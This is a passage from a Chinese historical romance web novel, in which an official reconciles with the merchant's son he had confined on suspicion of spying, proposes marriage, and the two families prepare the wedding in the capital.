龙生龙凤生凤,陆宛天生便是经商的料子,此事她从未质疑。
“待到放榜那日,贡院门前人
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山人海,挤得水泄不通。”姬青回忆道,“小少爷天不亮就去了,却不敢走得太近,只敢待在一里外的小巷子口偷偷瞧着您。”
“他见您中了榜,露出真切的笑,心中的愉悦比任何时候还要满溢,巴不得就留在汴都,不想走了……可后来三公子大婚,他不得已先打道回府,直到听说您外派到襄州做官,才从杭州赶到了襄州。”
说到这,姬青十分谨慎地抬眼,“大人可知,我家少爷在襄州……”
“知道。”梁蕴品清了清嗓子,“整个舒志巷,尤其是韵婉楼,云衣坊,还有通判府的府邸……都是他为我精心置办的产业。”
就是知道得有点晚了。
“那就好!”姬青心里一松,又忍不住开始毒舌,“如此说来,大人并不如我想象的那般无知冷漠,缘何后来会认为我家少爷接近您别有用心?”
“……”
梁蕴品嗓子一动,“此事一言难尽,说到底还是我的错。”
“我家诸事繁杂,千头万绪,我迫不得已演了一场戏,却没同他说清楚便将他软禁在府里……”
“但请您理解,”梁蕴品突然抬高声调,“我不曾真的疑心过他,囚着他也是为了保护他,还他一个清白。”
还有私心作祟,舍不得他离开。
姬青促狭一笑,摆摆手,“你们的事,我只听了个大概,不好随意置喙。但请大人放心,我这位小少爷,除了父母以外顶顶在乎的,便只有您一人。”
“有时我甚至想,他在乎您,胜于他自己千倍,万倍。”
姬青突然现出惆怅的神色,她敛了所有表情,勾眼看向梁蕴品,十分郑重地抬手,合掌,朝梁蕴品深深行了一礼。
“所以,我恳求大人——”
她弯着腰,声音闷闷地从身下传来,“世人皆知,您二人门不当户不对,前路千难万阻。”
“但无论遇到何种困难,还望大人不要丢下我家少爷,嫌弃他,背叛他,负了他。”
“姬青在此,先行谢过了。”
梁蕴品急急起身,扶起姬青,肃了神色,也报以同样郑重其事的回答。
“君子赠吾以真心。吾身无长物,自当以命相赴。”
-
朝霞晕开一片金色,与濯莲池中的点点青红交相辉映。
陆宛眼皮微动,终于在一片刺眼的天光中苏醒过来。
他动了动手腕,被悬于半空的刺痛仿佛还在骨头里叫嚣,叫他不敢随意动弹,只好木着身子偏过头,打量房中的情形。
这一打量,便同端坐在书案前的梁蕴品视线对上了。
陆宛将将苏醒,思绪还有些凝滞,他一动不动地看着梁蕴品放下书,抬脚走到自己跟前。
“醒了?”
梁蕴品顺势坐到床边,拉开被角握陆宛的手,却感觉那只纤弱的手狠狠一缩。
——是被他折腾狠了,怕了。
心尖似被一只无形的爪狠狠挠了一下,梁蕴品抿了抿唇,更强势也更偏执地将陆宛五指分开,密不透风地扣在他宽大的指间,放在自己的大腿上。
“……”
陆宛十分顺从地不动了,睫毛却垂了下去,他慢慢把脸偏向另一侧,盯着满墙的纱帐开始发呆。
“……饿不饿?厨司做了粥,还做了糕点,我让一心送进来,我喂你进些?”
梁蕴品从未见过陆宛抗拒自己的模样,心尖上的刺痛感愈发浓重,他强自勾起嘴角,温柔得几乎像是哄着陆宛,把人捧在手心里疼。
可陆宛只是平静地盯着纱帐,淡淡岔开话题,“大人今日不上值吗?”
又道,“大人若忙,其实不必守着我。我知道那日之事是意外,也早就料到了会有今日。”
陆宛的口吻仍旧保持了一贯的柔和,言语间却带了一丝决绝的意味。
“一切皆是我咎由自取,大人不必内疚,更无需对一个存心接近您,欺瞒您,有结党营私之嫌的内应——”
陆宛顿了顿,“如此上心。”
29. 29.君心
陆宛依稀记得,梁蕴品挥袖离开沁荷居那一刻,他呆然瘫坐在地,半晌听不见任何声响,直到阿生急促的叫唤划破寂静,穿透层层无形的阻隔钻入他耳中。
“少爷!少爷您别吓我,您应应我,少爷!”
陆宛抬起有些呆滞的眸与阿生对视,任由他扶起自己,坐到了精雕细琢的鸡翅木圈椅上,一截细腰不堪重负似的,垮下来倚在雕着莲纹的椅背和扶手上。
阿生一直在喊他,可他记不清阿生说了些什么,脑海中只反反复复回荡着起梁蕴品如刀锋般凛厉的声音。
“这位太史令,便是让我被暗算,被下药,饱受情欲煎熬的祸首,也是促成你我相遇,为你登堂入室提供敲门砖的幕后元凶!”
登堂入室的敲门砖……
陆宛仿佛笑了,又仿佛哭了,在失去意识之前他听见的最后一句话,是阿生在哭喊着悲鸣——“少爷,您别伤心……少爷!”
原来这就叫伤心。
痴心一片,终是孤梦一场。
待到陆宛第二日醒来,天已然大亮,阿生伏在他床边睡着了,脸上还挂着横纵交替的泪痕。
迷迷糊糊间,陆宛第一个反应是——回家了吗?
不,他们还在通判府……但家里如何了?父亲母亲如何了?
父母亲会不会因自己甚久不寄家书而担忧?
梁蕴品又会不会因着那些无中生有的罪名,向陆家发难?
想到这,陆宛静如死水的心骤然沸腾起来,叫他胸口一片一片针扎似的疼,已然干涸肿胀的眼眶再度溢上一层水雾。
他仿佛被劈成两半,一半为梁蕴品不信自己,不分青红皂白的逼问而寒心,另一半则恨自己任性妄为,非要强求不该强求的露水情缘,才沦落至自作自受的下场。
自那日以后,陆宛便无时无刻不活在惊惧与伤心之中,他深知即便表面再平静无澜,他内心缺了的口子也不曾随时光流逝而堵上,反而越烂越大,最终形成一个臃肿可怖的脓疮。
脓水一点一点兜不住了,开始在每一个孤独的深夜向外扩散,失眠和梦魇交替侵蚀着他,他开始食不下咽,即便阿生变着法给他做好吃的,即便韵婉楼送来的饭菜有家乡的味道。
他也开始怀疑那段平和恬淡的日子是否真的存在过,有时盈蕖馆来了人,他还会站在沁荷居门前遥遥相迎。
但不是他。
一个一个的,都不是他。
陆宛燃起过希望,又反复失望,绝望,最终强迫自己变得麻木。
别骗自己了,陆宛对自己道。
偏爱,宠溺,信任,缠绵……通通都是梁蕴品给“祁璐”的。
可他不是祁璐,他是“骗子”陆宛。
此刻,梁蕴品正在用看“祁璐”的眼神,紧锁着眉注视着他,道,“你别那么说。”
陆宛余光一晃,只当没看到那个眼神,兀自看纱帐去了。
梁蕴品顿了顿,决心还是先将陆家通敌一事澄清,“沙卓已经查明,陆老爷同江大人许久不曾往来,陆夫人也因亲兄弟与虎谋皮,许久不曾回过祁家了。”
“你是清白的,不是什么内应,往后别再那么说自己了。”梁蕴品笃定重复。
陆宛的眼睛很短暂地眨了眨,一抹光自眸中掠过,却沉入黑黢黢的眼底,不见回声,叫梁蕴品再度皱了眉。
“你……”梁蕴品沉吟片刻,“是还在怪我,疑心你么?”
陆宛的视线依旧没动,唇角却浅浅一勾,自喉咙深处发出一声嗤笑。
“小的不敢。”
梁蕴品的眉间几乎能夹出一座须臾峰来。
但陆宛紧接着,用近乎漠然的声音淡淡道,“既然大人已经还我清白,那是否能放我出府归家,还我自由?”
梁蕴品倏忽瞪直了眼,手上力气也重了些,捏得陆宛指尖发麻。
他明知故问,“既然怪我,为何不肯听我一句解释?既然事情已经澄清,又为什么要走?”
“呵,大人那日可曾听过我的解释?”
陆宛终于肯回过眸来正眼瞧他,眼神却无憎无恶,唯有厌倦。
他动了动唇,终于下定决心似的,任由自己的嘴一张一翕,迅疾而不经思考地蹦出一串违心且绝情的字眼,“大人要我留下,是真的要与我重修旧好,抑或是担忧自己的病情再犯无人发泄?您扪心自问,您当真放心把一个满嘴谎言的人放在身——”
“陆宛!”
梁蕴品突然直呼其名,生生打断了他的控诉,眼神不怒自威,“没有人能在卧榻之侧容下要害自己之人!”
陆宛双目倏忽一怔,抿上了唇。
梁蕴品扣紧他的手,几乎有些咬牙切齿,“而我也从未信过‘祁璐’这个身份,片刻也无。”
“……”
看着陆宛倒吸一口凉气,几欲咳喘,梁蕴品不依不舍地松了手,到食桌旁给他倒了盏红枣汤,又将他扶起倚靠在床围子上,手把手喂他喝下。
见陆宛情绪渐缓,梁蕴品也平复少许,缓声补充,“我信的一直是你,是你这个人。”
“无论你是陆家嫡子还是祁家孤子,甚至街头小贩,无名之辈,”梁蕴品挺着腰板,认真地盯着陆宛浓密的发际,“只要我不曾看错你看我的眼神,就不会影响我对你的信任。”
陆宛双手捧盏喝着暖茶,麻木冰冷的心似乎被一团旺盛的柴火烘着,血流十分迅速地涌动了起来。
“所以那日,我并不是在逼问你……”梁蕴品顿了顿,有些自嘲地勾了勾唇,“想来是我提醒你的声音太小了,你在如此惊惧的情况下,自然听不见。怪我。”
他缓缓坐下,将见了底的杯盏挪开,再度握上陆宛的手,抬眸与他平视。
“那是同沙卓演的一场戏。”迟来的解释终于娓娓传入陆宛耳中。
“若是旁人,我大可明明白白地袒护于你,但他终究是父亲派来的人,又咬死你是内应。”梁蕴品紧蹙着眉,仿佛想起那日之事依旧叫他十分头疼,“我只怕他为了护着我,擅自对你下手,只好先赶来同你演一出戏,而后一边同他虚与委蛇,一边让一心查出真相,再经旁人之口透露于他。”
梁蕴品终于不再掩饰自己对陆宛的情愫,将自己的一颗心剖开,无遮无掩地置于陆宛面前。
“你禁足的那一个月,我日日不得安眠,却不敢来看你……只怕一不留神被沙卓探去,叫他生疑,前功尽弃。”
他眸色如墨,一字一顿,“所以,你是否能……原谅我这一回。”
天光明媚炽烈,透过层层纱帐滤下一片柔和温婉的光晕,在陆宛眼底晃了又晃,像一片片金箔倾入湖心。
陆宛在心里没什么办法地叹了口气——从方才梁蕴品打断他,说下第一句话时,他便知道自己的心再也硬不起来了。
知慕少艾似是根植于他骨中的毒,与他的血肉早早地长在了一起,不死不分。
与梁蕴品对视良晌,陆宛睨着他眸中的红血丝与眼底的青黑,柔声道,“多谢大人如此信任。”
“可我……确实到了该离开通判府的时候。”
陆宛垂下睫,无奈一哂,叹道,“陆家家训有云:陆家子女,无论嫡庶,皆不可为人妾室。更不要提那无名无分的偏房与外室……”
“谁要你做妾?”
梁蕴品倏地紧了紧手心的力气,将陆宛不堪一握的指骨捏得“咯吱”作响。
陆宛吃疼般“嘶”了一声,却见梁蕴品陡然凑过身,将干燥温热的唇印在他那片苍白的唇上。
陆宛瞳孔一缩,来不及反应,唇上残留的枣茶便被那仓皇之人舔舐一空。
他的心骤然一缩,紧接着毫无规律地狂跳起来,倏忽他被灵活的舌尖顶开牙关,贝齿微张,口中的津液被疯狂地扫荡着,无节制地攫取着,索求着,直到下唇一疼,一抹血腥味自唇瓣处晕染开来。
梁蕴品怔怔抬起身,像只被褫夺食物多日的小兽般死死盯住陆宛的眼睛,好似这人下一瞬就要变成飞鸟脱离他的掌控。
“你方才之意,是不怪我了。”
梁蕴品咽了咽喉咙,抬起另一只手抚过陆宛沁血的唇瓣,沿着下颌游走过他的侧颈,将虎口轻轻卡在他颀长的后颈上,又凑上去蹭了蹭他的鼻尖,“不怪我没同你说清便囚着你,冷着你了,对吧?”
陆宛有些迟滞地感受着梁蕴品的触碰,二人气息纠缠,他无法自控般点了点头。
“那么,我还有一事,要请求于你。”
梁蕴品顿了顿,似乎在思考如何用更婉转的话说动陆宛,又遽然放弃。
“你方才说陆家子不可为妾,巧合的是,梁家子一心亦不可二用。”
梁蕴品正色道,“此生有一正妻相伴,惟愿足矣。”
陆宛渐渐睁大了眸,眼底映出梁蕴品珍而重之的眼神。
“陆小公子,”梁蕴品一手抚着陆宛的后颈,一手握住陆宛的指节,眸中闪动着希冀的光,“蕴品天资朴鲁,德薄能鲜,功业未成,唯有一颗真心一旦落定,便忠之守之,确凿不移。”
“你可愿嫁我为妻,与我申白首之盟,永结琴瑟之欢?”
-
庭院。
阿生站得笔直,浑身上下微微绷紧,像株冷杉般挺立在落芙亭中,微微抬高下颌盯着沁荷居内的动静。
“怎么还没说完,”他小声埋怨,“不会又说什么不该说的吧。”
“啧,你放心,事情都过去了~再说了主子们都多久没见了,你总得让人家好好叙叙旧。”
一心
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正踩在云梯上,有一搭没一搭得修理被梁蕴品扯下的纱帘,脸上挂着狎昵的神色,“诶,阿生,咱俩也叙叙呗~你这一个月来有没有想我?”
“呵,想了啊。”阿生斜挑着眼角,像瞅登徒子般睨了眼一心,“想你们什么时候死,死干净了我家少爷就不伤心了。”
“嘿,又说气话~你才舍不得我死呢,你家少爷更舍不得大人死!”
一心将木销穿入纱帘,钉在落芙亭的顶围上,嘴上还不忘碎碎叨叨,“你说你也是,我托王叔给你送了那么多吃的,你愣是一次也没收。如此冷酷绝情,真叫我寒心啊~”
“寒心?你们也配说这个?”
阿生原是将视线落回沁荷居,闻言眉毛一挑,回身冲一心道,“我家少爷为了你家大人寒心时,他在哪儿?你又在哪儿?”
“嘿,我在——”
一心本想将自己在外奔波一事和盘托出,又想起不远处,姬青正耳提面命,指使沙卓替她磨药晒药,于是堪堪将话头止住,咽了咽嗓子讪讪道,“我这不是有公务在身嘛……”
“哼。”
阿生转过身去,不欲与一心争辩,想了想又气不过,拔腿要走,“我给少爷送药去,他该进药了。”
“诶诶诶,别走别走!”
一心连忙从云梯上一蹦而下,轻盈地落到阿生面前,冲他绽出一个明朗的笑容,“话还没说完呢,你急什么,主子们有吩咐自然会喊咱们的。”
“有什么好说的!我不放心,你让——”
阿生左探右探不得而出,突然顿住身体,眯起眼打量起站在身前的一心,“是你家主子,让你拖住我的?”
“呃……嗨,什么你家主子我家主子的,咱们不是一家的么~”
一心笑着摸了摸鼻翼,刚想夸阿生聪明,却遭他劈头盖脸骂了一通,“呸!谁跟你们是一家的!”
“少爷为了你家大人委身入府,你家大人却叫陆家平白蒙冤,软禁了少爷,还让少爷遭此……遭此奇耻大辱。这算什么一家人?”
阿生似乎被点着了,破罐子破摔般将积日怨气一股脑儿发泄在一心身上。
他凤眼微竖,眸中涌上毫无遮掩的恨意,“若不是为了寻青姐来为少爷瞧病,我才不会将少爷交到你家大人手中!待到他病情好转,我便……我便立刻带他回杭州,凭他再心软,也绝不叫他再见你家大人一面!”
“哎,你别……你消消气……”
一心不知屋内是否谈拢,当下也不敢朝阿生放话,只得好言相劝,“若是大人正在里头给陆公子斟茶认错,陆公子也原谅他,答应留在通判府了,你当如何?你一个当下人的,难道要越过主子拿主意不成?”
“呵,”阿生抱起手臂,以一副拒人于千里之外的模样拧过身,“少爷他不会的。”
“你怎知他不会?”
“……”
阿生像瞧傻子一般瞥了眼一心,又转过头去,怨愤之声细如蚊蚋,“一家人一家人……说得倒好听,区区一个外室,算哪门子的‘一家人’?”
“……就因为这个?只因这个?”
一心眼珠一转,又眨了眨,当下对梁蕴品有了八成信心。
他也抱起手臂,好整以暇地看着阿生,嘴角上翘的弧度愈发明显,“诶,你要不要同我打个赌?”
“赌什么?”
乍听见一心的反问,阿生甩下手又要炸毛,却被接下来的话转移了注意。
“你坚信陆公子不会留下来,我却赌他一定会留下。”
一心说着说着,抱于胸前的手不安分地往前一伸,将阿生肩上的落叶轻轻扫了下来,粲然一笑,“若是你赢,我可以为你做一件事。”
“只要不违背朝廷法制,不伤及主家和我的性命,哪怕你要我为你摘一颗星星,我也会尽力而为。”一心含笑道。
“……黄口小儿,谁要你摘星星。”
阿生被那若有似无的一扫扰得耳根一热,偏了偏头,又忍不住正过来看他,“那若是你赢了呢?”
“要是我赢了……”
一心颔首一笑,倏忽落手一勾,拽着阿生的腰带猛地将人带到跟前,微冒胡茬的下颌与圆润的鼻尖只差半寸便可紧密相贴。
阿生瞳孔骤缩,下意识抬手格挡,却被一心抢占先机,偏身压住了他。
掌心与宽厚坚实的胸膛相抵,胸腔中那颗躁动的心透过层层屏障,与另一头懵懂不安的血脉共鸣而振。
一心唇沿几乎与阿生的上耳畔相接,他笑了笑,热气将阿生一只耳朵和半边侧颈霎时烫得通红。
“要是我赢了,你就要告诉我——”一心嗓音很低,似裹着黏腻的麦芽糖蛊惑着听者的理智,“为什么你是这世上……最适合伺候你家少爷的人?”
30. 30.奔赴
陆宛在床上将养了足足十日,终于恢复了些许元气。
夏日渐入尾声,秋雨来急停骤,陆宛在姬青的搀扶下,缓缓行走在通判府内院的石板路上,踩得落叶咯吱作响。
往来的仆奴纷纷侧身相让,端的行的皆是对正室夫人的见面礼,姬青自出陆府后便未再见过如此阵仗,不由得抿唇窃笑,又莫名生出些感慨来。
——她总觉得陆宛还小,可一转眼竟也到了成婚的年纪,若梁蕴品此行顺利,下次再见,便要尊称陆宛一声“通判夫人”了。
“青姐,有一事……我一直想问您,却寻不到机会。”
姬青回过神,见陆宛耳根稍红,不由得起了好奇心,“小少爷同我还客气什么,有什么话就直说。”
“嗯,是关于……”陆宛顿了片刻才鼓起勇气,“关于我这副身子。”
他垂下头,声音逐渐低了下去,“我既有女子的巢穴,是否也能……”
“嗯?也能什么?”
姬青实则已然猜出陆宛的困惑,却有心逗他一逗。
“也能……也能……”
陆宛停下脚,撩起眼怯怯地睨了姬青一眼,“也能有孕?”
“噗呲——”
姬青没忍住,叉着腰笑出了声,爽朗的笑声回荡在偌大的园子里,叫陆宛越发羞臊不安。
“别笑了,青姐,”陆宛耳根通红,十分无奈地扯了扯她的袖子,“我是认真在请教您。”
“好好好,是青姐的不是。”
姬青艰难收起笑意,谨慎答道,“从脉象上看,孕育孩子的胞宫确实存在于你体内,但自你八岁起便再未生长过,因而十分弱小,怀胎可能极低。”
“这样啊……”
陆宛眨眨眼,说不清自己是何心绪。
他许久以前便想过这个问题,可那时梁蕴品于他而言是可望不可触之人,即便想了,也只是在脑海中一闪而过。
可如今真有了这样的机缘,能走到梁蕴品身旁与他并肩,陆宛莫名理解了“欲壑难填,敲骨吸髓”八字——贪婪之心人皆有之,他也是人,不能免俗。
他也想与梁蕴品,有一个属于他们的孩子。
更何况,梁家即便答应与陆家结亲,也定是因着梁蕴品的偏爱才妥协……世家大户谁能看着自己的嫡长子娶一商贾之子为男妻?延绵子嗣不得,帮衬家族亦无能。
陆宛心中喟叹:若自己这肚子能争气些,好歹……好歹也能……
“但,也不是全无可能。”
陆宛微微一怔,抬起晶亮而懵懂的眸子与姬青对视。
姬青故意停顿许久,板着脸旁观小少爷暗自思忖,看够了才促狭一笑,“瞧小少爷这样子……是迫不及待想给大人生个孩子?”
“青姐!”
陆宛“刷”一下涨红了脸,软绵绵地推了姬青一把,“您还是像小时候一样,偏爱看我的热闹!”
“哈哈哈,就让青姐再看两眼罢!”
姬青开怀大笑,揉了揉陆宛绵软漆黑的发丝,难得正色道,“我回去便开些补气血的方子,小少爷只需用最好的药材,每日进补,那胞宫即便娇小,亦未尝不能受孕。”
陆宛脸色微霁,绷紧的颊肉稍稍一松。
他点点头,正想向姬青致谢,忽见她神色严肃,不情不愿地将后半句缓缓道出,“但怀胎一事风险极大,我虽不欲扫少爷的兴,但也不能叫您糊涂到底。”
陆宛一怔,只见姬青伸出手,屈起指节,将指背压在他的腹部,向下滑行了一小截。
“少爷的胞宫只得这么小。”姬青面色凝重,“但据我所见,刚出生的孩子,便没有这么小的。”
陆宛呼吸倏忽一窒。
“孩子太大,你恐有难产的危险,太小又不易养活。”
姬青叹了口气,收回手抬眼嘱咐道,“所以,为保孩子康健,护你平安顺产,你若发现自己有孕,便遣人来唤我入府伺候,越早越好,知道了吗?”
陆宛浑浑噩噩地点了点头,心却在与姬青视线相接的一刻定了下来。
“别担心,”姬青扯出一个笑容,“青姐能护你平安长大,护住你的孩子也不在话下。”
青姐……
陆宛眼眶一红,心中的焦灼与惶恐被姬青宽厚绵软的掌心抚平,仿佛又回到了那个无忧无虑的年纪。
彼时他还是梳羊角辫的小姑娘,可以拉着姬青的手肆无忌惮地撒娇,而如今他只能捏住姬青的袖子,十分克制地一晃,诚挚道,“青姐,谢谢您。若没有您,我这副身子,我这条命……”
“好事当头,别说那些不吉利的。”姬青面露慈笑,眼眶微潮,“你的事就是我的事,我一直视你为亲弟弟。”
陆宛点头,抿唇一笑,“我也视青姐为我亲长姐,您若有事,定不可瞒着我,尤其是您的丈夫……”
“说他做什么?”
提起自己的丈夫,姬青神色淡淡,“你放心,他不敢欺负我,他纳妾的钱银皆是我的积蓄与陪嫁,整个钱家都要靠我一人撑住,他不敢造次。”
“……”
陆宛不知说些什么来安慰姬青,他习惯依赖姬青,自小便认定姬青是坚不可摧的,或许她早已放下,只有旁人还在越俎代庖,替她叫苦不迭。
可他将心比心,又觉得那一见倾心之人的背叛最是伤人……姬青的心或被划开了许多口子,那些口子也在深夜默默沁着血,却无人能知,无人能治。
“青姐,您若是过的不痛快,便同他和离,回陆家吧。”
陆宛想了想,还是忍不住劝道,“积蓄同嫁妆没了便没了,若您再嫁,我便是添上十个街市陪嫁也不在话下,您别吊死在这棵歪脖子树上呀……”
“呵,傻孩子,青姐知道你心疼我。”
姬青将陆宛的手挽进自己臂弯,陪他继续往前走,“可他到底不曾慢待我,三妻四妾亦是男子本性,怨不得谁……也许,是我从一开始便太执着罢了。”
“不说我了,说说你同梁大人罢。他此次回汴都商议到陆家提亲一事,有几成把握?”
陆宛张了张嘴,还想说些什么,却被姬青转移了话题,只能作罢。
他边走边回忆起梁蕴品临行前的话,嘴角莫名扬了起来,柔声道,“他同我说,若是信他,等身子恢复便可随时到舒志巷最好的布坊量体裁衣,定制大婚用的婚服了。”
“哟,大人这么有把握?”姬青有些惊讶,“我还以为大人会同你说些中听不中用的,什么‘等他的好消息’之类的。”
“他确实也说了,一有消息便会立刻传回家书,不会让我久等。”
陆宛眸光一转,“算算时间,他应当早就回到汴都,现下已经过了好几日了”,想到这他莫名有些心虚,“会不会是大相公和夫人不肯点头……”
“啧,别瞎想。”姬青拍了拍陆宛的手,“大人不是那等冲动行事之人,他既让你准备婚服,定是有了万全的对策。你呀,就放心在家,等着做新娘子便是!”
“青姐!”
陆宛赧笑着推了姬青一把,又被姬青逮住臊了片刻,吵吵闹闹间,姬青抬眼张望,莫名觉得少了些什么。
“诶?阿生呢?他怎么到现在都没回来?”
“他去府医馆取莲子了。”陆宛道,“他近日似有心事,总不得安眠,取些莲子回来煮茶喝,能清清心。”
“是嘛?”姬青咂咂嘴,突然勾唇一笑,压低声音道,“小少爷,阿生的心事……同大人手下那个叫一心的,有无关系?”
“这……”
说曹操曹操便到,阿生的身影骤然出现在石板路尽头,同二人打了个照面。
陆宛挺直腰板,只见阿生神采奕奕,眉目飞扬,手中还拿着一封薄薄的信笺。
“少爷!成了!成了!!”
阿生远远瞧见陆宛,将信高高举起,迎风挥舞,忍不住要将这泼天的喜事闹得通府皆知。
“是大人的家书!”阿生扬声道,“大相公已经同官家告假,带着大人和二少爷亲自到杭州去提亲了!”
“什……什么?”
陆宛浑身一震,仿佛灵魂被霎时抽空,连瞳孔都惊得失了焦点。
大相公竟纾尊降贵,携长子次子亲自去陆府提亲……若传了出去,对陆府而言将会是何等的尊荣?
“我的妈呀……”
姬青也瞪大了眼,一时间高兴得不知如何是好,只好一遍又一遍地揉搓着陆宛的小臂,到最后掏出手绢,背着陆宛开始擦拭自己的眼角。
阿生带着家书疾驰到二人跟前,一站定先向陆宛行了个大礼,“阿生见过大少夫人!给大少夫人请安!”
园中的府卫与女使们都从方才那一嗓子得知了确切的消息,十分有眼力地停下脚,“扑通扑通”跪倒了一片。
“见过大少夫人!给大少夫人请安!”
“呃……”
陆宛僵着身子缓缓环视一周,凝滞良久,方才的消息才终于有了些许实感。
他竭力勾出一个当家主母的笑,咽了咽喉咙,深呼吸几回后看向众人,“免礼,都起来吧。”
“午后到王管家处领一例红封,”陆宛强自镇定道,“算是补上我的见面礼,也算是答谢诸位多年来伺候大人,不辞劳苦,尽心尽力。”
“谢少夫人恩赏!”
“少夫人真好!”
众人纷纷起身,脸上洋溢着心满意足的笑,阿生则借机向前一步,将家书交到陆宛手中。
“少爷,小的先认个错,您别生我气。”
阿生低眉耷眼,嘴角却压不下来,“我知道大人会在家书中写明汴都的情况,原想悄悄喽一眼,若事不成便强行带您回杭州,不伺候他们了。”
“可没料到事不仅成了,大人还给足了陆家面子……”
阿生说着眉毛便飞了起来,忍不住嘚瑟道,“看来大人也没我想象中那么撑不起事,大相公也没我想象中那么迂腐。”
“你,呀——”
陆宛忙着看信,姬青便帮他教训不守规矩的仆奴,狠狠拍了阿生的手臂一巴掌,“往后你随小少爷嫁进梁府,可不能这么莽撞行事了!说话要过脑子,脾气也得好好磨磨……你真当那丞相府是吃素的?”
“祸从口出,可别说错了话,害了咱们主子!”
“哎哟青姐您也太用力了,知道了知道了……”
阿生摸着胳膊,傻乐着看向有些怔忡的陆宛,抬手在他眼前挥了挥,“少爷,少爷?怎么看这几行字都能出神?这家书……有什么问题吗?”
“没……没有问题。”
陆宛回过神,冲姬青和阿生莞尔道,“我只是觉得有些突然……害怕是南柯一梦,镜花水月一场。”
“别多想。”姬青也瞧见了家书,阿生所言句句属实
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,便拍了拍陆宛的手背,笑着安抚道,“过几日身体彻底好了,青姐亲自送你回杭州备嫁。”
“青姐身无长物,那张调理身体的方子,便当是给你们的新婚贺礼了。”
–
去往杭州的官道上,一队低调的车马正有条不紊地赶着路。
为首的是两匹高头大马,上面端坐着两位英姿飒爽,风度翩翩的少年郎,不远处跟着一辆质朴无华的二驾马车,数十车箱子紧随其后,乍一眼看去似是镖局护镖,护的还是些无关紧要的破铜烂铁。
可明眼人来了一瞧便知——这车队虽无前呼后拥,环护的府卫却是一等一的高手,尤其是那一左一右两名护卫,身形矫健,一身煞气,弹指之间便可轻易取人项上头颅。
不仅如此,官道一侧的悬崖峭壁和另一侧河道也布下了层层防范,同车队遥相呼应,足见车内之人身份金贵,鼠辈豺狼根本近不得身。
一路朝东,精细打磨的木轮在砾石上轧出两道整齐的车辙,发出了“吱呀吱呀”的响声,将为首二人的交谈声隐没于流水与山林间。
“二弟当真好精神,”梁蕴品瞧着梁蕴识那神采飞扬的德行便忍不住黑了脸,“不知道的还以为到杭州提亲,讨媳妇的人是你,同我这个大哥没什么干系。”
“大哥说的什么话~”
梁蕴识忍着笑,偏头看向兄长,恭恭敬敬道,“我只是见兄长的婚事得父亲母亲首肯,想到往后我同慕云也能顺理成章在一块儿,心里忍不住高兴罢了。”
梁蕴品脸色稍霁,略一思忖道,“慕云……莫不是先柳太傅之孙,京城柳员外的独子,柳慕云?”
“呵,兄长好记性,一面之缘亦可久久不忘。”这下有些不悦的人换成了梁蕴识,“正是他。”
“别用那样忌惮的眼神看着我。”梁蕴品扶额,“我记住他,纯粹是因为他幼时十分顽皮,性子跳脱,在一众公子哥儿里确实……”
他顿了顿,绞尽脑汁想了个没那么刺耳的词,“十分打眼。”
“哈哈哈哈……”
梁蕴识忍不住乐弯了眼,“兄长所言非虚,他确实不拘小节,天真烂漫,是汴都城中绝无仅有的一抹亮色。。”
梁蕴品嘴角微微一扯,心中暗自感慨梁家出情种,又倏然生出一个疑问。
“你同柳慕云是何时走到一处的?”
梁蕴品敛了神色,迟疑道,“莫不是因着天旨,你刻意寻男子……”
“兄长问我,那兄长自己呢?”
梁蕴识目不斜视,唇角还挂着儒雅的笑,“兄长是为了遵天旨,救四弟,才与嫂夫人相遇,相知,相许的么?”
梁蕴品被杀了个回马刀,沉下脸来默不作声。
许久,他缓缓而言,“相遇或是,相知,相许,不是。”
“那兄长便不可小觑我了,毕竟我同他是真正的天赐良缘,一见倾心。”梁蕴识笑意更盛,“真难得,这还是我头一回胜了兄长,看来慕云真是我的贵人。”
贵人……
梁蕴品想起自己也同陆宛说过类似的话,心中一暖,似有什么地方被一把火细细烘着,对陆宛抑制许久的思念又再度翻腾起来。
也不知他留在襄州,身体恢复得如何了,有没有好好进食,喝药,照料好自己……
“不过兄长在此事的处理上确实有胆有谋。”
梁蕴识沉吟片刻,忍不住称赞,“借着官家挟四弟的机会,向父亲母亲大胆提出婚事,又以成婚为筹码叫父亲同官家谈判,换回四弟,最终让大嫂风风光光地嫁入梁家。”
“一箭三雕啊……姜还是老的辣,蕴识甘拜下风,自愧不如。”
“呵,若无四弟一事,我怕是比你烦恼不下百倍。”梁蕴品无奈一哂,同梁二细细分析,“柳慕云之父虽是柳太傅次子,未继承其衣钵出仕为官,但好歹占了个员外郎的名头,又有根繁叶茂的柳家为后盾,在京城也是说的上话的。”
“可陆家……陆家虽富可敌国,但在那些自诩清高的人眼中却位卑言轻,难登大雅之堂。”
梁蕴品叹了口气,“若非事态紧迫,叫父亲母亲别无选择,只怕这门亲事也要一拖再拖,遥遥无期。”
梁蕴识勾着嘴角,将手搭在兄长的肩头,“祸兮福所致,兄长既已抱得美人归,往后的日子便会越过越好的。”
“呵,承你贵言。”
梁蕴品抿着唇,同梁蕴识一道抬眸看向前方。
官道蜿蜒而上,风起密林,刮起一阵簌簌的嘈杂声,将二人的声音裹挟着没入山谷,渐行渐远。
-“对了,上次托你帮忙,围堵一个叛逃的府卫,你办得如何了?”
-“别提了……那人正好在官家传唤四弟那日进城,母亲晕厥,父亲送四弟入宫,三弟在家中哭闹不止,我简直分身乏术,哪里还顾得上他。”
-“……罢了。那你同柳慕云一事,你打算何时同父亲母亲提起?”
-“慕云年纪尚小,等明年秋试过后再说罢。此番若不是陪兄长提亲,我该好好坐在书塾中用功才是。”
-“不必如此焚膏继晷。你博览群书,文采斐然,又写得一手好字,定能金榜题名,为梁氏宗谱再添一笔荣耀。”
-“哈哈哈,那便承兄长贵言了~若能像兄长一般,以功名为聘,将慕云风风光光地娶进梁府,岂非一桩双喜临门的美事哉?”
……
31. 31.大婚(一)
金秋,漫山枫红,桂香万里。
梁陆两家的婚事终于落听,梁家似乎十分满意这个儿媳,纳征后便择了个最近的黄道吉日,赶在入冬前将陆宛迎入了汴都城。
“诶,这是哪家办事儿啊?这么大排场!”
“可不是么,瞧这张灯挂彩的,大红灯笼从街头挂到了巷尾,真阔气!”
“京城里居然还有人不知道这事?啧啧,是咱们梁大相公的长子,襄州通判府梁大人成亲呐!听说啊,娶得还是一门男妻!”
“男妻?那,那大相公能答应么?”
“谁知道呢,听说那梁大人跟鬼迷心窍似的,在祠堂前跪了三日三夜,水土不进,才求得大相公和夫人的点头呐!”
“诶呦我的真人菩萨哟……虽说咱们大邹不拘这个,可那是当朝右相的嫡子!娶的还是正经八百的正室!这梁大人也忒任性了些……”
